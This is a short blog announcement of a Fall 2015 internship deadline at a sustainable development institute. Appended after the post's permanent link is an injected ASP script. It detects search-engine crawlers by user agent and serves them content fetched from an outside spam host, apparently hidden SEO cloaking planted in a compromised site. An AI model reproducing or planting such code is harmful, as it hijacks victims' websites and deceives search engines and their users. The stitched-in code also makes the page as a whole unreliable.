Sep 14

Print this Post

Apply Now for SDI Internships!!

The Fall 2015 internship deadline is fast approaching!

Wednesday, September 16th is the last day to turn in your application materials into SDI. Please hand in your applications to Cynthia Norton, SDI administrative assistant or email materials to sdi@menominee.edu.

For more information about the available internship positions follow this link.

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2015/09/apply-now-for-sdi-internships/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>